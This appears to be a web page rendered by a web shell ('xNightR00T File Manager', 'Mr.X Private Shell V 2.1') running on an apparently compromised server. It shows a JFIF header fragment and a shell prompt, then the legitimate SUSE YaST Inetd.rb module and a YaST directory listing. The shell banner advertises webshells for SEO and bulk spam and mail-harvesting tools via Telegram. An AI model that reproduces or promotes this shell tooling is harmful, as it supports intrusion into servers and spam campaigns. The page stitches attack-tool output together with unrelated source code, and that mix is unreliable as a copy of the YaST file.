xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
# encoding: utf-8

# ***************************************************************************
#
# Copyright (c) 2000 - 2012 Novell, Inc.
# All Rights Reserved.
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of version 2 of the GNU General Public License as
# published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.   See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, contact Novell, Inc.
#
# To contact Novell about this file by physical or electronic mail,
# you may find current contact information at www.novell.com
#
# ***************************************************************************
# File:	modules/Inetd.ycp
# Package:	Configuration of inetd
# Summary:	Data for configuration of inetd, input and output functions.
# Authors:	Petr Hadraba <phadraba@suse.cz>
#		Martin Lazar <mlazar@suse.cz>
#
# $Id$
#
# Representation of the configuration of inetd.
# Input and output routines.
require "yast"

module Yast
  class InetdClass < Module
    include Yast::Logger

    SERVICE_NAME = "xinetd"

    def main
      Yast.import "UI"
      textdomain "inetd"

      #
      # **Structure:**
      #
      #     service
      #      <pre>
      #      A service map looks like this:
      #      $[
      #* as seen on TV^H^H (x)inetd.conf:
      #        "service": string      // * different from equally named field above
      #        "rpc_version": string
      #        "socket_type": string
      #        "protocol": string
      #        "wait": boolean
      #        "max": integer         // inetd only
      #        "user": string         // *
      #        "group": string
      #        "server": string
      #        "server_args": string
      #        "comment": string      // possibly multiline, without #
      #        "enabled": boolean     // service is active
      #* bookkeeping fields:
      #        "iid": string          // internal id, use as table `id
      #                               //   Iid is necessary because there may be multiple variants
      #                               //   of the same service. See next for iid handling.
      #        "changed": boolean     // when writing, unchanged services are ignored
      #                               //   new services (created) must be set as changed
      #                               //   see changeLine() and see addLine() for more details
      #        "deleted": boolean     // when deleting, this is set to TRUE and changed
      #                               // must be set too (see deleteLine())
      #        "script": string	// which configuration file this comes from
      #        "package": string	// which rpm it is in
      #* other fields:
      #      When handling existing maps, take care to preserve any other fields
      #      that may be present!
      #
      #  "unparsed": string	// what the agent could not parse
      # ]
      #
      # path netd = .whatever.inetd or .whatever.xinetd;
      #
      # SCR::Read (.etc.inetd_conf.services) -> list of inetd configuration
      # SCR::Read (.etc.xinetd_conf.services) -> list of xinetd configuration
      # SCR::Write (.etc.inetd_conf.services, list) -> boolean
      # SCR::Write (.etc.xinetd_conf.services, list) -> boolean
      #
      # "iid" handling:
      # The agent (ag_netd) uses it to locate the service in the config
      # files.  Its value should be considered opaque, except that
      # ag_netd will check whether it contains a colon (:) and if not,
      # consider it a new service.
      # Thus new services get "new"+number.
      # Non-installed services:
      #   in normal ui they appear only in the table and get "NI"+number
      #   in autoyast ui they get "inst"+number
      # Where number is last_created
      # </pre>
      # @see <a href="../autoyast_proto.xhtml">autoyast docs</a>.

      Yast.import "Service"
      Yast.import "Progress"
      Yast.import "Report"
      Yast.import "Summary"
      Yast.import "Directory"
      Yast.import "String"
      Yast.import "XVersion"

      Yast.include self, "inetd/default_conf_xinetd.rb"

      # Abort function
      # return boolean return true if abort
      @AbortFunction = nil

      Yast.include self, "inetd/routines.rb"

      # Configuration was changed
      @modified = false

      # used in unused module inetd_proposal.ycp. This will be removed
      @proposal_valid = false

      # For autoinstallation Write() process.
      # Write_only means that the service will not be actually started,
      # because it is done by init later.
      # But also that the service data are only a patch to be applied to the system.
      @write_only = false

      # If autoinstallation mode (true), we do not want to install RPMs during configuration.
      # Otherwise (false) we allow all.
      @auto_mode = false

      # Autoyast now does not initially call Import $[] anymore. But our
      # design is so broken that we need it and will work hard to achieve it.
      @autoyast_initialized = false

      # <pre>
      # These variable holds inetd configuration.
      # This is list of maps. Each map has the following structure:
      #   $[
      #     "comment": String,
      #     "comment_inside": String, // this is agent internal
      #     "enabled": boolean,
      #     "group": String,
      #     "user": String,
      #     "iid": String,
      #     "protocol": String,
      #     "rpc_version": String,
      #     "server": String,
      #     "server_args": String,
      #     "service": String,
      #     "socket_type": String,
      #     "unparsed": String,       // agent internal
      #     "wait": boolean
      #  ]
      # </pre>
      @netd_conf = []

      # Is xinetd running?
      # These variables contains return values from Service::Status() calls.
      @netd_status = false

      # This variable is used for new iid "generator"
      @last_created = 0
    end

    # Abort function
    # @return If AbortFunction not defined, returnes false
    def Abort
      return Builtins.eval(@AbortFunction) == true if @AbortFunction != nil
      false
    end

    # Data was modified? This function returnes modified variable.
    # @return true if modified
    def Modified
      #y2debug("modified=%1",modified);
      @modified
    end

    # Read all inetd settings
    # @return true on success
    def Read
      # Inetd read dialog caption
      caption = _("Initializing inetd Configuration")

      steps = 1

      Progress.New(
        caption,
        " ",
        steps,
        [_("Read the Configuration")],
        [_("Reading the configuration..."), _("Finished")],
        ""
      )

      read_status = 0
      # read database
      return false if Abort()

      @netd_conf = Convert.convert(
        SCR.Read(path(".etc.xinetd_conf.services")),
        :from => "any",
        :to   => "list <map <string, any>>"
      )

      @netd_status = Service.active?(SERVICE_NAME)

      return false if Abort()
      ProgressNextStage(_("Finished"))

      return false if Abort()
      @modified = false
      Progress.Finish
      true
    end

    # This function solves differences between new
    # (after installing requested packages)
    # xinetd configuration and the configuration edited by the user.
    # <pre>
    # <b>In normal mode</b>:
    # take the system services
    #   if it matches a service in the ui (ServicesMatch)
    #     use the ui data
    # (not-installed ones are not a part of netd_conf, they
    # only enter the table in mergexinetdconfs)
    # Deleted services: OK.
    # Added services: a separate pass needed
    # </pre>
    # TODO reduce the quadratic complexity.
    # @param [Array<Hash{String => Object>}] system_conf holds new configuration (on the system)
    # @param [Array<Hash{String => Object>}] edited_conf holds old configuration (UI)
    # @return [Array] Returnes new solved xinetd configuration (ready for Write()).
    def MergeEditedWithSystem(system_conf, edited_conf)
      system_conf = deep_copy(system_conf)
      edited_conf = deep_copy(edited_conf)
      new_entry = nil

      # Take system services as the basis
      # (they include the newly installed ones)
      # and replace most of them with their edited counterparts
      # that also takes care of deleted services
      # but not of added ones
      system_conf = Builtins.maplist(system_conf) do |system_s|
        new_entry = deep_copy(system_s)
        Builtins.foreach(edited_conf) do |edited_s|
          new_entry = deep_copy(edited_s) if ServicesMatch(system_s, edited_s)
        end
        deep_copy(new_entry)
      end

      Builtins.y2milestone("CONF: %1", edited_conf)
      # now the added services
      added = Builtins.filter(edited_conf) do |edited_s|
        Builtins.search(Ops.get_string(edited_s, "iid", ""), "new") == 0
      end
      Builtins.flatten([system_conf, added])
    end

    # Write all inetd settings
    # @return true on success
    def Write
      # Inetd read dialog caption
      caption = _("Saving inetd Configuration")

      steps = 1

      Progress.New(
        caption,
        " ",
        steps,
        [_("Write the settings")],
        [_("Writing the settings..."), _("Finished")],
        ""
      )

      Builtins.y2milestone("Calling write:\n")
      # write settings
      return false if Abort()

      if @write_only
        # YUCK, looks like autoinst part, should be done in inetd_auto.ycp
        new_conf = []
        new_conf = Convert.convert(
          SCR.Read(path(".etc.xinetd_conf.services")),
          :from => "any",
          :to   => "list <map <string, any>>"
        )
        @netd_conf = mergeAfterInstall(new_conf, @netd_conf)
      end

      SCR.Write(path(".etc.xinetd_conf.services"), @netd_conf)
      adjust_xinetd_service

      Builtins.y2milestone("Writing done\n")

      # in future: catch errors
      Report.Error(_("Cannot write settings!")) if false

      return false if Abort()
      ProgressNextStage(_("Finished"))

      return false if Abort()
      Progress.Finish
      true
    end

    # Starts or stops and enables or disables the xinetd service
    # depending on the current and requested service state
    def adjust_xinetd_service
      current_status = Service.active?(SERVICE_NAME)

      if @netd_status
        if current_status
          log.info "#{SERVICE_NAME} was running -> calling reload"
          Service.reload(SERVICE_NAME) unless @write_only
        else
          log.info "#{SERVICE_NAME} was stopped -> enabling and starting service"
          Service.Start(SERVICE_NAME) unless @write_only
        end
        Service.Enable(SERVICE_NAME)
      else
        if current_status
          log.info "#{SERVICE_NAME} was running -> stoping and disabling service"
          Service.Stop(SERVICE_NAME) unless @write_only
        else
          log.info "#{SERVICE_NAME} was stopped -> leaving unchanged"
        end
        Service.Disable(SERVICE_NAME)
      end
    end

    # Only Write settings
    # @return [Boolean] True on success
    def WriteOnly
      @write_only = true
      Write()
    end

    # Merges autoinstall profile into the system configuration.
    # @param [Array<Hash{String => Object>}] system_c holds new configuration (on the system)
    # @param [Array<Hash{String => Object>}] user_c  holds old configuration (auto: profile + defaults)
    # @return [Array] Returnes new solved xinetd configuration (ready for Write()).
    # @see #MergeAyProfile
    def mergeAfterInstall(system_c, user_c)
      system_c = deep_copy(system_c)
      user_c = deep_copy(user_c)
      MergeAyProfile(system_c, user_c)
    end

    # merges imported changes with services defaults
    # @param [Array<Hash{String => Object>}] changes imported changes
    # @return complete configuration with user changes
    # @see #MergeAyProfile
    def mergeWithDefaults(changes)
      changes = deep_copy(changes)
      repaired_default_conf = []

      # replacing all './etc/xinetd.d/...' paths with '/etc/xinetd.d/...'
      # path must be absolute
      Builtins.foreach(@default_conf) do |service|
        iid = Ops.get_string(service, "iid", "")
        if Builtins.regexpmatch(iid, "^(.*):./etc/xinetd.d/(.*)$")
          Ops.set(
            service,
            "iid",
            Builtins.regexpsub(
              iid,
              "^(.*):\\./etc/xinetd.d/(.*)$",
              "\\1:/etc/xinetd.d/\\2"
            )
          )
        end
        repaired_default_conf = Builtins.add(repaired_default_conf, service)
      end

      MergeAyProfile(repaired_default_conf, changes)
    end

    # Removes keys from a map. Unlike the remove builtin, does not mind if
    # the keys are already removed.
    # @param [Hash] m a map
    # @param [Array] keys list of keys to remove
    # @return the map without the specified keys
    def SafeRemove(m, keys)
      m = deep_copy(m)
      keys = deep_copy(keys)
      Builtins.foreach(keys) do |key|
        m = Builtins.remove(m, key) if Builtins.haskey(m, key)
      end
      deep_copy(m)
    end

    # Merges AY profile items into a target list (defaults or system).
    # @param [Array<Hash{String => Object>}] target base list of services
    # @param [Array<Hash{String => Object>}] changes imported changes
    # @return merged list of services
    # @see <a href="../autoyast_proto.xhtml">autoyast docs</a>.
    def MergeAyProfile(target, changes)
      target = deep_copy(target)
      changes = deep_copy(changes)
      # for each change in the patch list:
      Builtins.foreach(changes) do |change_s|
        matches = 0
        # For compatibility and as a hook for workarounds
        # if the matching turns out to be too clever:
        # skip matching
        change_iid = Ops.get_string(change_s, "iid", "")
        if Builtins.search(change_iid, "new") != 0 # do nothing if matches is 0 and we add the service
          # || find (change_iid, "inst") == 0
          # apply the change to the target list:
          target = Builtins.maplist(target) do |target_s|
            new_entry = deep_copy(target_s)
            if ServicesMatch(change_s, target_s)
              # yippee, it matches
              matches = Ops.add(matches, 1)

              # Cannot do a simple union, because we don't
              # want to merge the "server" key field:
              # The "basename (package)" content generated by the
              # AY UI must be avoided.
              # And while merging, iid must be also preserved
              to_merge = SafeRemove(change_s, ["server", "iid"])
              new_entry = Convert.convert(
                Builtins.union(new_entry, to_merge),
                :from => "map",
                :to   => "map <string, any>"
              )
              new_entry = Builtins.add(new_entry, "changed", true)
              # "enabled" is true - if not present
              new_entry = Builtins.add(
                new_entry,
                "enabled",
                Ops.get_boolean(change_s, "enabled", true)
              )
            end
            deep_copy(new_entry)
          end
        end
        # Not found in target? Three states happened:
        #  - Service is new (user wants forEx. telnet on port #53;-)
        #  - Service is from non-SuSE package
        #  - Service name or description is invalid
        if matches == 0
          target = Builtins.add(target, change_s)
        elsif Ops.greater_than(matches, 1)
          Builtins.y2warning("Ambiguous match (%1): %2", matches, change_s)
        end
      end

      #y2milestone("%1", changes);
      #y2milestone("%1", target);

      deep_copy(target)
    end

    # Get all inetd settings from the first parameter
    # (For use by autoinstallation.)
    # @param [Hash] settings The YCP structure to be imported.
    # @return [Boolean] True on success
    def Import(settings)
      settings = deep_copy(settings)
      #y2milestone("settings = %1", settings);
      @netd_conf = mergeWithDefaults(Ops.get_list(settings, "netd_conf", []))
      # old profile can still use integer value (0 == true)
      @netd_status = [0, true].include?(settings["netd_status"])

      # common variables
      @last_created = Ops.get_integer(settings, "last_created", 0)
      #y2milestone("%1", netd_conf);
      true
    end

    # Get only changed entries
    # @param [Array<Hash{String => Object>}] config complete configuration
    # @return Returnse list of changes only
    def getChanged(config)
      config = deep_copy(config)
      defaults = []
      changes = []
      def_line = {}
      return deep_copy(changes) if config == nil

      defaults = deep_copy(@default_conf)

      # defaults not loaded --- get all services listed in config
      return deep_copy(config) if defaults == []

      # Deleted services: so far they are exported
      # But maybe better to allow only deleting added services (~ undo)
      # and thus not export them.
      Builtins.foreach(config) do |line|
        # only changed ones...
        if Ops.get_boolean(line, "changed", false)
          # now trim the fields that are not necessary, because
          # they are a part of the defaults

          # new or installed services (iid is `^new.*' or `^inst.*')
          # are not trimmed
          line_iid = Ops.get_string(line, "iid", "")
          if Builtins.search(line_iid, "new") == 0 ||
              Builtins.search(line_iid, "inst") == 0
            changes = Builtins.add(changes, line)
            next # skip the following code
          end

          # Find coresponding entry in `defaults'.
          # Could use iid here because we started editing
          # with the defaults list
          # but it broke the testsuite.
          def_line = Builtins.find(defaults) do |default_s|
            ServicesMatch(line, default_s)
          end

          # item not found
          # So, write this entry into `changes'
          if def_line == nil
            changes = Builtins.add(changes, line)
            next # skip the following code
          end

          # especially for inetd, server must not be tcpd, because
          # we could trow away the real server which distinguishes
          # a service among its variants
          if Ops.get_string(line, "server", "") == "/usr/sbin/tcpd"
            s = String.FirstChunk(
              Ops.get_string(line, "server_args", ""),
              " \t"
            )
            line = Builtins.add(line, "server", s)
          end

          # for each item of the map
          Builtins.foreach(line) do |name, val|
            # Remove it if its value is the default
            # and it's not a key field or "enabled" (*).
            # In particular, iid is trimmed here.
            if val == Ops.get(def_line, name) &&
                !Builtins.contains(
                  ["script", "protocol", "service", "server", "enabled"],
                  name
                )
              line = Builtins.remove(line, name)
            end
          end

          # "changed" is implicitly true for all Exported/Imported services
          line = Builtins.remove(line, "changed")
          # "enabled" defaults to true in _Import_, so it would
          # have been wrong above (*) to match it against the
          # _system_ default of false.
          if Ops.get_boolean(line, "enabled", false)
            line = Builtins.remove(line, "enabled")
          end

          changes = Builtins.add(changes, line)
        end
      end

      #y2milestone("%1", changes);
      deep_copy(changes)
    end

    # Dump the inetd settings to a single map
    # (For use by autoinstallation.)
    # @return [Hash] Dumped settings (later acceptable by Import ())
    def Export
      config = {}
      config = Builtins.add(config, "netd_conf", getChanged(@netd_conf))
      config = Builtins.add(config, "netd_status", @netd_status)
      config = Builtins.add(config, "last_created", @last_created)
      Builtins.y2milestone("%1", config)
      deep_copy(config)
    end

    # Create unsorted list of enabled services
    # @return [String] Returnes string with RichText-formated list
    def mkeServiceSummary
      _S = ""
      Builtins.foreach(@netd_conf) do |line|
        #"enabled" defaults to true
        if Ops.get_boolean(line, "enabled", true) &&
            !Ops.get_boolean(line, "deleted", false)
          _S = Builtins.sformat(
            "%1<li>%2 <i>(%3)</i>",
            _S,
            Ops.get_string(line, "service", ""),
            Ops.get_string(line, "protocol", "")
          )
        end
      end
      if _S == ""
        _S = _("<p><ul><i>All services are marked as stopped.</i></ul></p>")
      end
      _S
    end

    # Create a textual summary and a list of unconfigured cards
    # @return summary of the current configuration
    def Summary
      _S = ""
      if @netd_conf == []
        # Translators: Summary head, if nothing configured
        _S = Summary.AddHeader(_S, _("Network services"))
        _S = Summary.AddLine(_S, Summary.NotConfigured)
      else
        # Translators: Summary head, if something configured
        head = Builtins.sformat(_("Network services are managed via %1"), SERVICE_NAME)

        _S = Summary.AddHeader(_S, head)
        _S = Summary.AddHeader(_S, _("These services will be enabled"))
        _S = Builtins.sformat("%1<ul>%2</ul></p>", _S, mkeServiceSummary)
      end
      _S
    end

    # delete line in netd_conf
    # @param [Object] line_number "iid" geted from table's item ID
    def deleteLine(line_number)
      line_number = deep_copy(line_number)
      # delete
      current_line = Builtins.find(@netd_conf) do |line|
        Ops.get_string(line, "iid", "0") == line_number
      end
      if current_line == nil
        Builtins.y2internal("can't happen")
        current_line = {}
      end
      # set "deleted" flag to true
      current_line = Builtins.add(current_line, "changed", true)
      current_line = Builtins.add(current_line, "deleted", true)
      @netd_conf = Builtins.maplist(@netd_conf) do |line|
        if Ops.get_string(line, "iid", "0") == line_number
          next deep_copy(current_line)
        else
          next deep_copy(line)
        end
      end

      nil
    end

    # add a line in DB
    # @param [Hash{String => Object}] new_line new_line contains new entry for global netd_conf configuration
    # @return [void]
    def addLine(new_line)
      new_line = deep_copy(new_line)
      # add
      new_line = Builtins.add(new_line, "changed", true)
      @netd_conf = Builtins.add(@netd_conf, new_line)
      nil
    end

    # Change a line in DB
    # @param [Hash{String => Object}] new_line new_line contains changes for entry in netd_conf
    # @param [Object] line_number line_number contains iid of changed entry in netd_conf
    def changeLine(new_line, line_number)
      new_line = deep_copy(new_line)
      line_number = deep_copy(line_number)
      # entry was changed - so set "changed" flag to true
      new_line = Builtins.add(new_line, "changed", true)
      @netd_conf = Builtins.maplist(@netd_conf) do |line|
        if Ops.get_string(line, "iid", "0") == line_number
          next deep_copy(new_line)
        else
          next deep_copy(line)
        end
      end

      nil
    end
    # Return required packages for auto-installation
    # FIXME: Need to make this return the needed packages during installation
    # @return [Hash] of packages to be installed and to be removed
    def AutoPackages
      { "install" => [], "remove" => [] }
    end

    def DBG(i)
      Builtins.y2internal("%1", i)
      Builtins.y2milestone("  netd_conf: %1", @netd_conf)

      nil
    end

    # LiMaL interface

    def GetServicesId(mask)
      mask = deep_copy(mask)
      ids = []
      i = 0

      while Ops.greater_than(Builtins.size(@netd_conf), i)
        fit = true
        Builtins.foreach(mask) do |key, val|
          fit = false if fit && val != Ops.get(@netd_conf, [i, key])
        end if mask != nil
        ids = Builtins.add(ids, Builtins.tostring(i)) if fit
        i = Ops.add(i, 1)
      end
      deep_copy(ids)
    end

    def ServiceAttributes(id)
      Builtins.maplist(Ops.get(@netd_conf, Builtins.tointeger(id), {})) do |attribute, val|
        attribute
      end
    end

    def ServiceGetStr(id, attribute, dflt)
      if Builtins.haskey(
          Ops.get(@netd_conf, Builtins.tointeger(id), {}),
          attribute
        )
        return Ops.get_string(@netd_conf, [Builtins.tointeger(id), attribute])
      end
      dflt
    end

    def ServiceGetInt(id, attribute, dflt)
      if Builtins.haskey(
          Ops.get(@netd_conf, Builtins.tointeger(id), {}),
          attribute
        )
        return Ops.get_integer(@netd_conf, [Builtins.tointeger(id), attribute])
      end
      dflt
    end

    def ServiceGetTruth(id, attribute, dflt)
      if Builtins.haskey(
          Ops.get(@netd_conf, Builtins.tointeger(id), {}),
          attribute
        )
        return Ops.get_boolean(@netd_conf, [Builtins.tointeger(id), attribute])
      end
      dflt
    end

    def ServiceEnabled(id)
      ServiceGetTruth(id, "enabled", true)
    end

    def ServiceDelete(id)
      deleteLine(
        Ops.get_string(@netd_conf, [Builtins.tointeger(id), "iid"], "")
      )
      true
    end

    def ServiceAdd(service)
      service = deep_copy(service)
      addLine(service)
      true
    end

    def ServiceChange(id, service)
      service = deep_copy(service)
      changeLine(
        service,
        Ops.get_string(@netd_conf, [Builtins.tointeger(id), "iid"], "")
      )
      true
    end

    publish :function => :mergeAfterInstall, :type => "list <map <string, any>> (list <map <string, any>>, list <map <string, any>>)"
    publish :function => :MergeAyProfile, :type => "list <map <string, any>> (list <map <string, any>>, list <map <string, any>>)"
    publish :variable => :default_conf, :type => "list <map <string, any>>"
    publish :variable => :AbortFunction, :type => "block <boolean>"
    publish :function => :Modified, :type => "boolean ()"
    publish :function => :Abort, :type => "boolean ()"
    publish :variable => :modified, :type => "boolean"
    publish :variable => :proposal_valid, :type => "boolean"
    publish :variable => :write_only, :type => "boolean"
    publish :variable => :auto_mode, :type => "boolean"
    publish :variable => :autoyast_initialized, :type => "boolean"
    publish :variable => :netd_conf, :type => "list <map <string, any>>"
    publish :variable => :netd_status, :type => "boolean"
    publish :variable => :netd_status_read, :type => "boolean"
    publish :variable => :last_created, :type => "integer"
    publish :function => :Read, :type => "boolean ()"
    publish :function => :MergeEditedWithSystem, :type => "list <map <string, any>> (list <map <string, any>>, list <map <string, any>>)"
    publish :function => :Write, :type => "boolean ()"
    publish :function => :WriteOnly, :type => "boolean ()"
    publish :function => :mergeWithDefaults, :type => "list <map <string, any>> (list <map <string, any>>)"
    publish :function => :SafeRemove, :type => "map (map, list)"
    publish :function => :Import, :type => "boolean (map)"
    publish :function => :getChanged, :type => "list <map <string, any>> (list <map <string, any>>)"
    publish :function => :Export, :type => "map ()"
    publish :function => :mkeServiceSummary, :type => "string ()"
    publish :function => :Summary, :type => "string ()"
    publish :function => :deleteLine, :type => "void (any)"
    publish :function => :addLine, :type => "void (map <string, any>)"
    publish :function => :changeLine, :type => "void (map <string, any>, any)"
    publish :function => :AutoPackages, :type => "map ()"
    publish :function => :DBG, :type => "void (string)"
    publish :function => :GetServicesId, :type => "list <string> (map <string, any>)"
    publish :function => :ServiceAttributes, :type => "list <string> (string)"
    publish :function => :ServiceGetStr, :type => "string (string, string, string)"
    publish :function => :ServiceGetInt, :type => "integer (string, string, integer)"
    publish :function => :ServiceGetTruth, :type => "boolean (string, string, boolean)"
    publish :function => :ServiceEnabled, :type => "boolean (string)"
    publish :function => :ServiceDelete, :type => "boolean (string)"
    publish :function => :ServiceAdd, :type => "boolean (map <string, any>)"
    publish :function => :ServiceChange, :type => "boolean (string, map <string, any>)"
  end

  Inetd = InetdClass.new
  Inetd.main
end

Filemanager

Name Type Size Permission Actions
YaPI Folder 0755
YaST Folder 0755
ALog.rb File 3.26 KB 0644
AddOnProduct.rb File 78.59 KB 0644
Address.rb File 3.45 KB 0644
Arch.rb File 15.59 KB 0644
AsciiFile.rb File 12.59 KB 0644
Assert.rb File 2.06 KB 0644
AuditLaf.rb File 21.16 KB 0644
AuthServer.pm File 172.86 KB 0644
AutoInstall.rb File 11.34 KB 0644
AutoInstallRules.rb File 36.37 KB 0644
AutoinstClass.rb File 7.62 KB 0644
AutoinstClone.rb File 6.82 KB 0644
AutoinstCommon.rb File 3.18 KB 0644
AutoinstConfig.rb File 17.86 KB 0644
AutoinstData.rb File 2.37 KB 0644
AutoinstDrive.rb File 14.28 KB 0644
AutoinstFile.rb File 9.3 KB 0644
AutoinstFunctions.rb File 1.1 KB 0644
AutoinstGeneral.rb File 17.48 KB 0644
AutoinstImage.rb File 1.75 KB 0644
AutoinstLVM.rb File 21.58 KB 0644
AutoinstPartPlan.rb File 36.37 KB 0644
AutoinstPartition.rb File 14.53 KB 0644
AutoinstRAID.rb File 7.73 KB 0644
AutoinstScripts.rb File 36.75 KB 0644
AutoinstSoftware.rb File 38.57 KB 0644
AutoinstStorage.rb File 48.62 KB 0644
Autologin.rb File 4.82 KB 0644
BootArch.rb File 3.37 KB 0644
BootStorage.rb File 10.15 KB 0644
BootSupportCheck.rb File 7.36 KB 0644
Bootloader.rb File 15.87 KB 0644
CWM.rb File 39.16 KB 0644
CWMFirewallInterfaces.rb File 38.92 KB 0644
CWMServiceStart.rb File 27.49 KB 0644
CWMTab.rb File 13.2 KB 0644
CWMTable.rb File 14.57 KB 0644
CWMTsigKeys.rb File 24.93 KB 0644
CaMgm.rb File 12.9 KB 0644
Call.rb File 1.53 KB 0644
CheckMedia.rb File 6.1 KB 0644
CommandLine.rb File 52.89 KB 0644
Confirm.rb File 6.95 KB 0644
Console.rb File 8.63 KB 0644
ContextMenu.rb File 1.4 KB 0644
Crash.rb File 5.26 KB 0644
Cron.rb File 2.85 KB 0644
CustomDialogs.rb File 2.52 KB 0644
DNS.rb File 23.77 KB 0644
DebugHooks.rb File 4.89 KB 0644
DefaultDesktop.rb File 13.29 KB 0644
Desktop.rb File 12.5 KB 0644
DevicesSelectionBox.rb File 5.67 KB 0644
DhcpServer.pm File 70.43 KB 0644
DhcpServerUI.rb File 10.43 KB 0644
DialogTree.rb File 11.76 KB 0644
Directory.rb File 4.99 KB 0644
Distro.rb File 2.29 KB 0644
DnsData.pm File 1.65 KB 0644
DnsFakeTabs.rb File 751 B 0644
DnsRoutines.pm File 2.81 KB 0644
DnsServer.pm File 57.26 KB 0644
DnsServerAPI.pm File 68.81 KB 0644
DnsServerHelperFunctions.rb File 11.83 KB 0644
DnsServerUI.rb File 3.78 KB 0644
DnsTsigKeys.pm File 2.53 KB 0644
DnsZones.pm File 22.9 KB 0644
DontShowAgain.rb File 13.03 KB 0644
DualMultiSelectionBox.rb File 24.91 KB 0644
Encoding.rb File 4.54 KB 0644
Event.rb File 4.89 KB 0644
FTP.rb File 2.32 KB 0644
FileChanges.rb File 9.39 KB 0644
FileSystems.rb File 69.86 KB 0644
FileUtils.rb File 17.64 KB 0644
FtpServer.rb File 36.4 KB 0644
GPG.rb File 13.58 KB 0644
GPGWidgets.rb File 12.34 KB 0644
GetInstArgs.rb File 4.04 KB 0644
Greasemonkey.rb File 6.86 KB 0644
HTML.rb File 6.11 KB 0644
HTTP.rb File 3.37 KB 0644
HWConfig.rb File 5.1 KB 0644
Hooks.rb File 5.76 KB 0644
Host.rb File 10.78 KB 0644
Hostname.rb File 7.35 KB 0644
Hotplug.rb File 5.64 KB 0644
HttpServer.rb File 26.81 KB 0644
HttpServerWidgets.rb File 120.87 KB 0644
HwStatus.rb File 3.08 KB 0644
IP.rb File 12.65 KB 0644
IPSecConf.rb File 22.58 KB 0644
Icon.rb File 5.43 KB 0644
ImageInstallation.rb File 49.56 KB 0644
Inetd.rb File 28.29 KB 0644
Initrd.rb File 16.41 KB 0644
InstData.rb File 4.13 KB 0644
InstError.rb File 6.95 KB 0644
InstExtensionImage.rb File 15.48 KB 0644
InstFunctions.rb File 5.12 KB 0644
InstShowInfo.rb File 2.81 KB 0644
InstURL.rb File 6.06 KB 0644
Installation.rb File 10.29 KB 0644
Instserver.rb File 43.86 KB 0644
Integer.rb File 2.99 KB 0644
Internet.rb File 9.29 KB 0644
IscsiClient.rb File 9.74 KB 0644
IscsiClientLib.rb File 55.9 KB 0644
IsnsServer.rb File 11.07 KB 0644
Kdump.rb File 38.8 KB 0644
Kerberos.rb File 37.03 KB 0644
Kernel.rb File 22.96 KB 0644
KeyManager.rb File 8.47 KB 0644
Keyboard.rb File 50.48 KB 0644
Kickstart.rb File 23.84 KB 0644
Label.rb File 9.11 KB 0644
Lan.rb File 32.38 KB 0644
LanItems.rb File 94.36 KB 0644
Language.rb File 45.33 KB 0644
Ldap.rb File 63.96 KB 0644
LdapDatabase.rb File 77.2 KB 0644
LdapPopup.rb File 21.03 KB 0644
LdapServerAccess.pm File 8.73 KB 0644
Linuxrc.rb File 7.53 KB 0644
LogView.rb File 21.39 KB 0644
LogViewCore.rb File 6.32 KB 0644
Mail.rb File 43.92 KB 0644
MailAliases.rb File 6.88 KB 0644
MailTable.pm File 3.25 KB 0644
MailTableInclude.pm File 4.79 KB 0644
Map.rb File 4.27 KB 0644
Message.rb File 11.39 KB 0644
MiniWorkflow.rb File 2.88 KB 0644
Misc.rb File 11.8 KB 0644
Mode.rb File 10.76 KB 0644
ModuleLoading.rb File 9.26 KB 0644
ModulesConf.rb File 4.24 KB 0644
Mtab.rb File 1.24 KB 0644
NetHwDetection.rb File 8.46 KB 0644
Netmask.rb File 5.08 KB 0644
Network.rb File 1.3 KB 0644
NetworkConfig.rb File 5.9 KB 0644
NetworkInterfaces.rb File 56.49 KB 0644
NetworkPopup.rb File 7.86 KB 0644
NetworkService.rb File 12.71 KB 0644
NetworkStorage.rb File 1.91 KB 0644
Nfs.rb File 22.35 KB 0644
NfsOptions.rb File 5.63 KB 0644
NfsServer.rb File 10.64 KB 0644
Nis.rb File 42.75 KB 0644
NisServer.rb File 39.93 KB 0644
Nsswitch.rb File 3.6 KB 0644
NtpClient.rb File 46.6 KB 0644
OSRelease.rb File 3.68 KB 0644
OneClickInstall.rb File 28.86 KB 0644
OneClickInstallStandard.rb File 4.35 KB 0644
OneClickInstallWidgets.rb File 16.54 KB 0644
OneClickInstallWorkerFunctions.rb File 10.6 KB 0644
OneClickInstallWorkerResponse.rb File 5.63 KB 0644
OnlineUpdate.rb File 4.04 KB 0644
OnlineUpdateCallbacks.rb File 19.62 KB 0644
OnlineUpdateDialogs.rb File 16.85 KB 0644
Package.rb File 7.78 KB 0644
PackageAI.rb File 5.03 KB 0644
PackageCallbacks.rb File 87.95 KB 0644
PackageCallbacksInit.rb File 2.12 KB 0644
PackageInstallation.rb File 8.49 KB 0644
PackageKit.rb File 2.67 KB 0644
PackageLock.rb File 6.77 KB 0644
PackageSlideShow.rb File 42.52 KB 0644
PackageSystem.rb File 16.87 KB 0644
Packages.rb File 94.3 KB 0644
PackagesProposal.rb File 11.79 KB 0644
PackagesUI.rb File 24.29 KB 0644
Pam.rb File 3.73 KB 0644
Partitions.rb File 33.23 KB 0644
Popup.rb File 57.78 KB 0644
PortAliases.rb File 10.47 KB 0644
PortRanges.rb File 22.92 KB 0644
Printer.rb File 112.82 KB 0644
Printerlib.rb File 31.82 KB 0644
Product.rb File 8.9 KB 0644
ProductControl.rb File 52.95 KB 0644
